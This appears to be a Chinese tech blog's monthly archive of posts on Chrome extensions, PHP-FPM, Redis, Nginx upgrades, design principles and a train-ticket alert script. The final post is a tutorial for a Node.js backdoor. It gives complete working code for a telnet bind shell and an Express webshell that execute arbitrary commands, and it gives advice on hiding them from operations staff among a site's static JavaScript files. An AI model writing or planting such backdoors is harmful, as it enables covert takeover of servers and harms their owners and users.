月度归档:2015年12月

chrome插件开发hello word

首先准备一个目录,用于存放插件

然后建配置文件manifest.json,这是唯一必须用的文件,内容如下。

{
  "manifest_version": 2,
  "name": "helloword",
  "version": "1.0"
}

到此,不管你信不信,我们的插件写完了,哈哈。

接下来加载运行

点击右上角【设置】按钮,就是那个三道杠,然后选择【更多工具】中的【扩展程序】,看到如下界面。而后点击【开发者模式】、【加载已解压的扩展程序】, 选择你的插件目录就OK了。看看是不是有了你的插件,虽然现在我们什么都没干。

如果你修改了扩展程序,只需要刷新这个页面或者点一下【重新加载】就OK了。接下来,我们需要给我们的插件添加个图标。

首先,我们下载一个图标文件,png或者ico,放到我们的插件目录。

而后,在配置文件中添加这么一行

"icons": {
      "48": "icon.png"
   }

这里需要注意格式,目前你的配置文件应该长这样,特别注意icons前边的逗号,其实说白了就必须是符合JSON格式的规范:

这样我们的扩展程序在右上角还是没有图标,咋整呢?添加下边的配置,将会有惊喜:

    "browser_action": {
      "default_icon": "icon.png"
    }

变化请看浏览器的右上角,地址栏的右侧。图标OK了,你就知道在上述界面中如何添加属性了,你还可以添加描述、作者等,这些都是附属品,我们就不讲了。

讲了半天,我们的chrome插件还是个摆设,只能玩一玩,怎么给它添加功能呢。接下来我们先写个简单的,先预热一下:

首先, 在我们的插件目录创建一个js文件,比如helloworld.js

然后,我们在配置文件中加载这个js文件,添加如下配置:

"content_scripts":[{
    "js": [ "helloworld.js" ],
    "matches": [ "<all_urls>" ]
}]

这里content_scripts的意思就是这段代码是插入到浏览的页面中的,chrome插件假设页面有这么几种,一种是background
就是在后台执行的;另一种是popup弹出类型的,比如右上角的图标点击后可以弹出一个页面来,用于设置等;另一种是contents类型的,这种是在当
前浏览的页面。并且他们直接可以互相通信,这里我们先不研究这种比较复杂,主要是还用不到的东西。我们只需要了解这个contents_script就是
能够操纵当前浏览的页面的代码就好了。

下边我们在helloworld.js中稍微添加点js代码,比如:

alert("Hello, world!");

这样打开任何页面都会弹出对话框了。

光弹对话框没什么意思,接下来引入更高级一点

首先加载jquery

"content_scripts":[{
    "js": [ "jquery-1.11.3.min.js","helloworld.js" ],
    "matches": [ "<all_urls>" ]
  }]

然后在helloword.js中像写传统JS一样写代码

$(function(){
  jobs = [];
  $(".entry-title").each(function(){
       //jobs.push($(this).find('strong').text());//获取所有标题
       alert($(this).find('a').text());
  });
  //异步提交数据
  $.ajax({
      url : "http//<yoururl>/<path>",
      dataType:"jsonp",
      data:{
          jobs : jobs
      },
      success:function(){}
  });
});

再打开http://www.so-cools.com 

就会看到弹出所有的标题了

PHP FastCGI进程管理器PHP-FPM的本质

一个master进程,支持多个pool,每个pool由master进程监听不同的端口,pool中有多个worker进程.
每个worker进程都内置PHP解释器,并且进程常驻后台,支持prefork动态增加.
每个worker进程支持在运行时编译脚本并在内存中缓存生成的opcode来提升性能.
每个worker进程支持配置响应指定请求数后自动重启,master进程会重启挂掉的worker进程.
每个worker进程能保持一个到MySQL/Memcached/Redis的持久连接,实现”连接池”,避免重复建立连接,对程序透明.
使用数据库持久连接时应该设置固定数量的worker进程数,不要使用动态的prefork模式.
master进程采用epoll模型异步接收和分发请求,listen监听端口,epoll_wait等待连接,
然后分发给对应pool里的worker进程,worker进程accpet请求后poll处理连接,
如果worker进程不够用,master进程会prefork更多进程,
如果prefork达到了pm.max_children上限,worker进程又全都繁忙,
这时master进程会把请求挂起到连接队列backlog里(默认值是511).

1个PHP-FPM工作进程在同一时刻里只能处理1个请求.
MySQL的最大连接数max_connections默认是151.
只要PHP-FPM工作进程数不超过151,就不会出现连接不上MySQL的情况.
而且正常情况下,也不需要开启那么多的PHP-FPM工作进程,
比如4个PHP-FPM进程就能跑满4个核心的CPU,
那么你开40个PHP-FPM进程也没有任何意义,
只会占用更多的内存,造成更多的CPU上下文切换,性能反而更差.
为了减少每个请求都重复建立和释放连接的开销,可以开启持久连接,
一个PHP-FPM进程保持一个到MySQL的长连接,实现透明的”连接池”.

Nginx跟PHP-FPM分开,其实是很好的解耦,PHP-FPM专门负责处理PHP请求,一个页面对应一个PHP请求,
页面中所有静态资源的请求都由Nginx来处理,这样就实现了动静分离,而Nginx最擅长的就是处理高并发.
PHP-FPM是一个多进程的FastCGI服务,类似Apache的prefork的进程模型,
对于只处理PHP请求来说,这种模型是很高效很稳定的.
不像Apache(libphp.so),一个页面,要处理多个请求,包括图片,样式表,JS脚本,PHP脚本等.

php-fpm从5.3开始才进入PHP源代码主干,之前版本没有php-fpm.
那时的spawn-fcgi是一个需要调用php-cgi的FastCGI进程管理器,
另外像Apache的mod_fcgid和IIS的PHP Manager也需要调用php-cgi进程,
但php-fpm则根本不依赖php-cgi,完全独立运行,也不依赖php(cli)命令行解释器.
因为php-fpm是一个内置了php解释器的FastCGI服务,启动时能够自行读取php.ini配置和php-fpm.conf配置.

个人认为,PHP-FPM工作进程数,设置为2倍CPU核心数就足够了.
毕竟,Nginx和MySQL以及系统同样要消耗CPU.
根据服务器内存来设置PHP-FPM进程数非常不合理,
把内存分配给MySQL,Memcached,Redis,Linux磁盘缓存(buffers/cache)这些服务显然更合适.
过多的PHP-FPM进程反而会增加CPU上下文切换的开销.
PHP代码中应该尽量避免curl或者file_get_contents这些可能会产生较长网络I/O耗时的代码.
注意设置CURLOPT_CONNECTTIMEOUT_MS超时时间,避免进程被长时间阻塞.
如果要异步执行耗时较长的任务,可以 pclose(popen(‘/path/to/task.php &’, ‘r’)); 打开一个进程来处理,
或者借助消息队列,总之就是要尽量避免阻塞到PHP-FPM工作进程.
在php-fpm.conf中把request_slowlog_timeout设为1秒,在slowlog中查看是否有耗时超过1秒的代码.
优化代码,能够为所有PHP-FPM工作进程减负,这个才是提高性能的根本方法.

能让CPU满负荷运行的操作可以视为CPU密集型操作.
上传和下载则是典型的I/O密集型操作,因为耗时主要发生在网络I/O和磁盘I/O.
需要PHP认证的下载操作可以委托为Nginx的AIO线程池:
header(“X-Accel-Redirect: $file_path”);
至于上传操作,比如可以建立一个监听9001端口的名为upload的PHP-FPM进程池(pool),
专门负责处理上传操作(通过Nginx分发),避免上传操作阻塞到监听9000端口的计算密集的www进程池.

这时upload进程池多开点进程也无所谓: 

[www]
listen = 127.0.0.1:9000
pm = static
pm.max_children = 4
[upload]
listen = 127.0.0.1:9001
pm = dynamic
pm.max_children = 8
pm.start_servers = 4
pm.min_spare_servers = 4
pm.max_spare_servers = 4 

 利用PHP-FPM提供的池的隔离性,分离计算密集和I/O密集操作,可以减少阻塞对整个PHP应用的影响. 

redis性能测试

我们先看看官方的基准性能测试数据,心里有个底。

      测试前提
      Redis version 2.4.2
      Using the TCP loopback
      Payload size = 256 bytes  
      测试结果
      SET: 198412.69/s
      GET: 198019.80/s

从这个官方参考数据当时让我们对 Redis 的性能还是抱有很大的期待的。

另外官方文档中也提到,在局域网环境下只要传输的包不超过一个 MTU (以太网下大约 1500 bytes),那么对于 10、100、1000 bytes 不同包大小的处理吞吐能力实际结果差不多。关于吞吐量与数据大小的关系可见下面官方网站提供的示意图。

于是基于我们真实的使用场景,我们搭建了性能验证环境,作了一个验证测试,如下

      测试前提
      Redis version 2.4.1
      Jmeter version 2.4
      Network 1000Mb
      Payload size = 100 bytes  
      测试结果
      SET: 32643.4/s
      GET: 32478.8/s

在实验环境下得到的测试数据给人的感觉和官方差了蛮多,这里面因为有网络和客户端库综合的影响所以没有实际的横向比较意义。这个实验环境实测数据只对我们
真实的生产环境具有指导参考作用。在实验环境的测试,单 Redis 实例运行稳定,单核 CPU 利用率在 70% ~ 80% 之间波动。除了测试
100 bytes 的包,还测了 1k、10k 和 100k 不同大小的包,如下图所示:

基于实验室测试数据和实际业务量,现实中采用了 Redis 分片来承担更大的吞吐量。一个单一 Redis 分片一天的 ops 波动在 20k~30k 之间,单核 CPU 利用率在 40% ~ 80% 之间波动,如下图。

这与当初实验室环境的测试结果接近,而目前生产环境使用的 Redis 版本已升级到 2.8 了。如果业务量峰值继续增高,看起来单个 Redis
分片还有大约 20%
的余量就到单实例极限了。那么可行的办法就是继续增加分片的数量来分摊单个分片的压力,前提是能够很容易的增加分片而不影响业务系统。这才是使用
Redis 面临的真正残酷现实考验。

Redis 是个好东西,提供了很多好用的功能,而且大部分实现的都还既可靠又高效(主从复制除外)。所以一开始我们犯了一个天真的用法错误:把所有不同类型的数据都放在了一组 Redis 集群中。

  • 长生命周期的用户状态数据

  • 临时缓存数据

  • 后台统计用的流水数据

导致的问题就是当你想扩分片的时候,客户端 Hash 映射就变了,这是要迁移数据的。而所有数据放在一组 Redis 里,要把它们分开就麻烦了,每个 Redis 实例里面都是千万级的 key。

而另外一个问题是单个 Redis 的性能上限带来的瓶颈问题。由于 CPU 的单核频率都发展到了瓶颈,都在往多核发展,一个 PC Server 一般 24或32 核。但 Redis 的单线程设计机制只能利用一个核,导致单核 CPU 的最大处理能力就是 Redis 单实例处理能力的天花板了。

举个具体的案例,新功能上线又有点不放心,于是做了个开关放在 Redis,所有应用可以很方便的共享。通过读取 Redis 中的开关 key 来判断是否启用某个功能,对每个请求做判断。这里的问题是什么?这个 key 只能放在一个实例上,而所有的流量进入都要去这个 Redis GET 一下,导致该分片实例压力山大。而它的极限在我们的环境上不过 4 万 OPS,这个天花板其实并不高。

最后总结:

认识清楚了现实的残酷性,了解了你所在环境 Redis 的真实性能指标,区分清幻想和现实。我们才能真正考虑好如何合理的利用 Redis 的多功能特性,并有效规避的它的弱项,再给出一些 Redis 的使用建议:

  • 根据数据性质把 Redis 集群分类;我的经验是分三类:cache、buffer 和 db

    • cache:临时缓存数据,加分片扩容容易,一般无持久化需要。

    • buffer:用作缓冲区,平滑后端数据库的写操作,根据数据重要性可能有持久化需求。

    • db:替代数据库的用法,有持久化需求。

  • 规避在单实例上放热点 key。

  • 同一系统下的不同子应用或服务使用的 Redis 也要隔离开

另外,有一种观点认为用作缓存 Memcache 更合适,这里可以独立分析下其中的优劣取舍吧。Memcache 是设计为多线程的,所以在多核机器上单实例对 CPU 的利用更有效,所以它的性能天花板也更高。

除此,Redis 还有个 10k 问题,当缓存数据大于
10k(用作静态页面的缓存,就可能超过这个大小)延迟会明显增加,这也是单线程机制带来的问题。如果你的应用业务量离 Redis
的性能天花板还比较远而且也没有 10k 需求,那么用 Redis
作缓存也是合理的,可以让应用减少多依赖一种外部技术栈。最后,搞清楚现阶段你的应用到底需要什么,是多样的数据结构和功能、更好的扩展能力还是更敏感的
性能需求,然后再来选择合适的工具吧。别只看到个基准测试的性能数据,就欢呼雀跃起来了。

linux命令记不住怎么办

tldr   (too long  donot read)

root@yzy-B85M-D3V:/tmp#pip install tldr
root@yzy-B85M-D3V:/tmp# tldr ssh
# SSH                                                                                                                               
                                                                                                                                    
  Secure Shell is a protocol used to securely log onto remote systems.                                                              
  It can be used for logging or executing commands on a remote server.                                                              
                                                                                                                                    
- connecting to a remote server                                                                                                     
                                                                                                                                    
  ssh {{username}}@{{remote_host}}                                                                                                  
                                                                                                                                    
- connecting to a remote server with a specific identity (private key)                                                              
                                                                                                                                    
  ssh -i {{/path/to/key_file}} {{username}}@{{remote_host}}                                                                         
                                                                                                                                    
- connecting to a remote server with specific port                                                                                  
                                                                                                                                    
  ssh {{username}}@{{remote_host}} -p {{2222}}                                                                                      
                                                                                                                                    
- run a command on a remote server                                                                                                  
                                                                                                                                    
  ssh {{remote_host}} "{{command -with -flags}}"                                                                                    
                                                                                                                                    
- ssh tunneling: dynamic port forwarding (SOCKS proxy on localhost:9999)                                                            
                                                                                                                                    
  ssh -D {{9999}} -C {{username}}@{{remote_host}}                                                                                   
                                                                                                                                    
- ssh tunneling: forward a specific port (localhost:9999 to slashdot.org:80)                                                        
                                                                                                                                    
  ssh -L {{9999}}:slashdot.org:80 {{username}}@{{remote_host}}                                                                      
                                                                                                                                    
- ssh enable agent forward                                                                                                          
                                                                                                                                    
  ssh -A {{username}}@{{remote_host}}                                                                                               
                                                                                                                                    
                                                                                                                                    
                                                                                                                                    
root@yzy-B85M-D3V:/tmp# w

不中断现有连接,平滑升级Nginx

不中断现有连接,平滑升级Nginx

首先让我们了解一下各种信号的意义,我们后面会用到其中的几个:
. TERM,INT 快速退出
. QUIT 优雅退出(等待所有连接关闭后再退出程序,不接受新的连接)
. HUP 在修改配置后,以新的配置启动worker进程,优雅退出旧的worker进程
. USR1 重新打开日志文件
. USR2 更新二进制文件
. WINCH 优雅地关闭worker进程(但不关闭master)

接下来是步骤:
1. 编译、获得新的二进制文件
这一步很简单,新的版本Nginx或者老的版本Nginx源码加上新的编译参数,在configure和make后,我们在源码目录下的objs目录中找到新的nginx二进制文件。
注意,接下来请不要make install。
2. 备份与替换
将旧的nginx二进制文件备份一下:

cd /usr/local/nginx/sbin
mv nginx nginx.old

然后将上一步得到的新版本二进制文件复制过来:
cp /path/to/source/nginx /usr/local/nginx/sbin/

  1. USR2、WINCH与QUIT
    发送USR2信号给master进程
    kill -USR2 cat /usr/local/nginx/logs/nginx.pid
    这一步发生了什么?master进程首先重命名PID文件,在文件名后添加.oldbin后缀,比如nginx.pid会被重命名为nginx.pid.oldbin。接着依次启动新的执行文件和新的worker进程。这时候我们观察系统的进程,可以看到有两个master进程:
PID  PPID USER    %CPU   VSZ WCHAN  COMMAND
33126     1 root     0.0  1164 pause  nginx: master process /usr/local/nginx/sbin/nginx
33134 33126 nobody   0.0  1368 kqread nginx: worker process (nginx)
33135 33126 nobody   0.0  1380 kqread nginx: worker process (nginx)
33136 33126 nobody   0.0  1368 kqread nginx: worker process (nginx)
36264 33126 root     0.0  1148 pause  nginx: master process /usr/local/nginx/sbin/nginx
36265 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)
36266 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)
36267 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)

注意这两个master进程的PID:第一个进程的PPID是1,这是旧的master进程,而新的master进程,PPID就是旧的master进程的PID,这说明新的master来自于旧的master。

这时候,新旧两种worker同时接受连接请求。
发送WINCH给旧master

此时,发送WINCH信号给旧的master进程来“优雅”地关闭旧的Nginx worker:

kill -WINCH cat /usr/local/nginx/logs/nginx.pid.oldbin

过一段时间,我们观察系统进程:

PID  PPID USER    %CPU   VSZ WCHAN  COMMAND
33126     1 root     0.0  1164 pause  nginx: master process /usr/local/nginx/sbin/nginx
36264 33126 root     0.0  1148 pause  nginx: master process /usr/local/nginx/sbin/nginx
36265 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)
36266 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)
36267 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)

新旧两个master进程都在,但是worker都是来自于新的master。

那么为什么我们不直接用-QUIT退出旧的master呢?因为假如这时我们发现新的worker进程因为一些原因无法接受请求,那我们就能快速启动旧的Nginx。

快速回退的方法见最后。
QUIT退出旧master

升级很成功,新的worker正常接受请求,那么我们就可以关掉旧master了:

kill -QUIT cat /usr/local/nginx/logs/nginx.pid.oldbin

观察系统进程:

PID  PPID USER    %CPU   VSZ WCHAN  COMMAND
36264     1 root     0.0  1148 pause  nginx: master process /usr/local/nginx/sbin/nginx
36265 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)
36266 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)
36267 36264 nobody   0.0  1364 kqread nginx: worker process (nginx)

我们看到,新的master进程其PPID已经变成了1。
4. 快速回退

如果我们在发送WINCH给旧master进程后发现新master无法正常工作,我们需要能够快速回退。

我们一般用两种方案来快速回退。

发送HUP信号给旧master进程。旧master进程会在不重新读取配置文件的情况下直接启动新的worker进程。然后就可以发送QUIT信号给新master进程,使所有新进程可以优雅退出。
发送TERM信号给新master进程。新master进程发送信号关闭所有的worker进程(如果因为某些原因新的进程没有退出,就得发送KILL信号强制退出了)。当新master进程退出后,旧master进程会自动启动它的worker进程。

八大设计原则

1.依赖倒置原则(DIP)–important 贯穿于整个设计原则
举例:观察者模式—一个由文件分割器引起的设计模式

高层模块的稳定不依赖于低层模块的变化,两者依赖抽象的稳定
抽象稳定不依赖于细节的变化,实现细节应依赖于抽象的稳定

2.开放封闭原则(OCP)
举例:策略模式—一个由税计算引起的设计模式

对扩展开发,对更改封闭
类模块应该是可扩展的,但是不可修改

3.单一职责原则(SRP)

一个类应该仅有一个引起它变化的原因
变化的方向隐含着类的责任

4.Liskov替换原则(LSP)

子类必须能够替换它们的基类(IS-A)
继承表达类型抽象
5.接口隔离原则(ISP)

不应该强迫客户程序依赖于它们不用的方法
接口应该小而完备

6.优先使用对象组合,而不是类继承

类继承通常为“白箱复用”,对象组合为“黑箱复用”
继承在某种程度上破坏了封装性,子类父类耦合度高
对象组合只要求被组合的对象有着良好的接口。

7.封装变化点

8.针对接口编程,而不是针对实现编程

面向接口设计:接口标准化

将设计原则提升为设计经验:

设计习语 Design Idioms
设计模式 Design Patterns
架构模式 Architectural Patterns

python 实现12306刷票提醒

又到一年一度的12306了。

去年python写的全自动抢票脚本不能用了。

今年的验证码太强大了。

今年暂不深入研究它,仅用python查询是否有票提醒,然后给你打个电话。绝对能够提醒你。

然后手工,上代码:

#coding=utf-8
import urllib2
import json
import time
import hashlib
import pynotify

i=0
def notify():
    strs="来了来了。。。。"
    pynotify.init ("12306s")
    n = pynotify.Notification ("Hello DL",strs)
    n.show()
    print "good_notify"

def call():
    username="xxx"
    to_phone="xxx"
    code="12306"
    rpass="123456"
    password=username+rpass+to_phone+code
    password=hashlib.md5(password).hexdigest()
    callurl="http://www.iaixin.com/index.php/voice/ajax_api_add?username=%s&password=%s&to_phone=%s&code=%s" %(username,password,to_phone,code)
    request = urllib2.Request(callurl)
    urllib2.urlopen(request)
    print("good")

def musearch():
    for i in ['2016-02-04','2016-02-05','2016-02-06']:
        search(i)

def search(date_str):
    global i
    url="https://kyfw.12306.cn/otn/leftTicket/queryT?leftTicketDTO.train_date=%s&leftTicketDTO.from_station=BJP&leftTicketDTO.to_station=CQW&purpose_codes=ADULT" %(date_str)
    req = urllib2.Request(url)
    try:
        fd = urllib2.urlopen(req)
        result= fd.read()
    except:
        return False
    try:
        decodejson = json.loads(result)
    except:
        return False
    if not decodejson.has_key('data'):
        return False
    for value in decodejson['data']:
        if value['queryLeftNewDTO']['station_train_code']!='G307' and value['queryLeftNewDTO']['station_train_code']!='G309':
            continue
        ze_num=value['queryLeftNewDTO']['ze_num']
        #print date_str+":"+value['queryLeftNewDTO']['station_train_code']
        #print(ze_num)
        if ze_num== u"无":
            continue
        now=time.time();
        print(ze_num+":"+date_str+value['queryLeftNewDTO']['station_train_code'])
        #notify()
        if now-i >20:
            i=time.time()
            #call()
            notify()

while 1:
    musearch()
    time.sleep(1)

基于nodejs的socket后门

0x01 为什么选择NodeJs

1.我个人非常喜爱JavaScript这门语言,而我们今天所说的就是NodeJS,JavaScript语言的一个分支。NodeJS本身就是一个Web 服务器同时他还是一门后端语言,这一点尤其重要,因为我们只需要下载一个NodeJs就可以完成一系列操作,从而免去很多的麻烦。
2.而且即使被运维人员发现,也会以为是开发部门正在写有关NodeJs的项目。
3.NodeJs是一个非常年轻的语言,以至于很多人都没有学过。我见过运维人员懂PHP、Python的,但是懂NodeJs的,我是没见过。
4.接下来的篇章,我会使用telnet通信和web通信两个方式来写NodeJs后面程序。

0x02 前期准备工作

1.有关NodeJs安装的,请自行百度
2.NodeJs安装完成后,我们可以随便在哪一个目录建立一个NodeJs文件,当然我这里推荐在服务器网站上的静态目录里的JavaScript目录来写,因为都是JavaScript文件,有很大的隐蔽性。我嫌麻烦,就在~目录下建立一个nodeDemo目录来建立NodeJs文件了。我这里建立的是app.js,当然名字随便取,你可以取base.js、cache.js、cookies.js等等,起到隐蔽性就行了。

0x03 telnet通信后门

1.NodeJs里使用telnet进行通信的时候,需要调用net库和child_process库里的exec方法。代码如下:

var net = require('net');
var exec = require('child_process').exec;

然后使用createServer()函数来创建连接,代码如下:

var server= net.createServer(function(conn){
//code
});

接下来要解决字符串编码问题,不然乱码真的没法看:

conn.setEncoding('utf8');

注意这里没有-,不是utf-8。切记。
为了好看,我还特意加上了conn.write(‘\n’);恩,这样好看多了。
OK,接下来就是连接成功后,处理输入的字符串了。这里需要用on函数:

conn.on('data',function(data){
//code
});

在输入后的字符串里,删除掉回车字符串。

data=data.replace('\r\n','');

这段代码非常重要。我被这个坑卡了二十分钟。很多人可能会问不就是个回车么,按两次回车键怎么了。问题就在这。他这是ascll编码,也就是说你这个不会回车,而是回车的ascll编码,如果没有这个命令,你输入的命令都将无法使用,你用echo输出到的文件也会变成xxx.txt?这里并不是真正的?,而是系统无法显示出这个字符,而用?告诉人们,这是一个无法显示的字符串。

这里的data变量就是我们输入的命令了。接下来就要用到child_process库里的exec方法了。

exec(data,function(error,stdout){
    //code
});

exec的第一个参数是data,也就是我们要运行的代码,后面的参数是个函数,这个函数里的一个参数是error,他是反馈命令中存在的错误。二个参数stdout是命令运行后的反馈。

我们先判断运行的命令中是否存在错误:

if(error !== null){
    conn.write(error + '\n');
    return false;       
}

如果没有错误会反馈null字符串,我们就拿这个当做判断条件。Conn.write是在telnet终端反馈字符的,相当于php中的echo。

return false;是防止程序继续向下执行。

接下来就是显示命令反馈了:

conn.write('########################start\n\n' + stdout + '\n########################end\n\n');

为了更加的直观,我用#start和#end来标出反馈的区域。

rver变量OK后,就是让程序监听端口运行了。

server.listen(3000,function(){
    console.log('OK');
});

000端口,并在终端中显示OK。

码如下:

var net = require('net');
var exec = require('child_process').exec;
var server= net.createServer(function(conn){
    conn.setEncoding('utf8');
    conn.write('\n');
    conn.on('data',function(data){
        data=data.replace('\r\n','');
        exec(data,function(error,stdout){
            if(error !== null){
                conn.write(error + '\n');
                return false;       
            }
            conn.write('########################start\n\n' + stdout + '\n########################end\n\n');
        });
    });
}); 

server.listen(3000,function(){
    console.log('OK');
});
运行代码:
node app.js

现在只需要使用添加用户即可再次控制机器。

而这里有个缺陷,就是没有密码验证,我特意查了net库里的函数,但是没有找到密码验证,于是我想到了另一种方法来代替密码验证。代码如下:

if(data.substring(0,2) == 'js'){
    data = data.substring(2);
}else{
    return false;
}

每一条命令的前面都加上js才会运行,如果没有,则什么都不输出。

0x04 web通信后门

上节说道使用telnet通信当做后门,那么现在我们来说一说web通信后门。这里是使用了express框架吗,玩过NodeJs的人都知道,基本是NodeJs必装框架。安装express框架请自行百度。首先我们建立一个网站目录用于存放后面程序。
router/index.js 代码如下:

var express = require('express');
var router = express.Router();
var exec = require('child_process').exec;
var iconv = require('iconv-lite');

function unhtml(str, reg) {
  return str ? str.replace(reg || /[&<">'](?:(amp|lt|quot|gt|#39|nbsp|#\d+);)?/g, function (a, b) {
    if(b){
      a;
    }else{
        return {
            '<':'&lt;',
            '&':'&amp;',
            '"':'&quot;',
            '>':'&gt;',
            "'":'&#39;',
        }[a]
    }
  }) : '';
}

router.get('/',function(req, res, next){
  exec(req.query.webshellPassword,{encoding: 'binary'},function(error,stdout){
    if(error !== null){
      res.send(error);
      return false;
    }
    var str = iconv.decode(stdout, 'GBK');
    res.send('<pre>' + unhtml(str) + '</pre>');
  });
});

module.exports = router;

访问地址就可以了

http://127.0.0.1:3000/?webshellPassword=whoami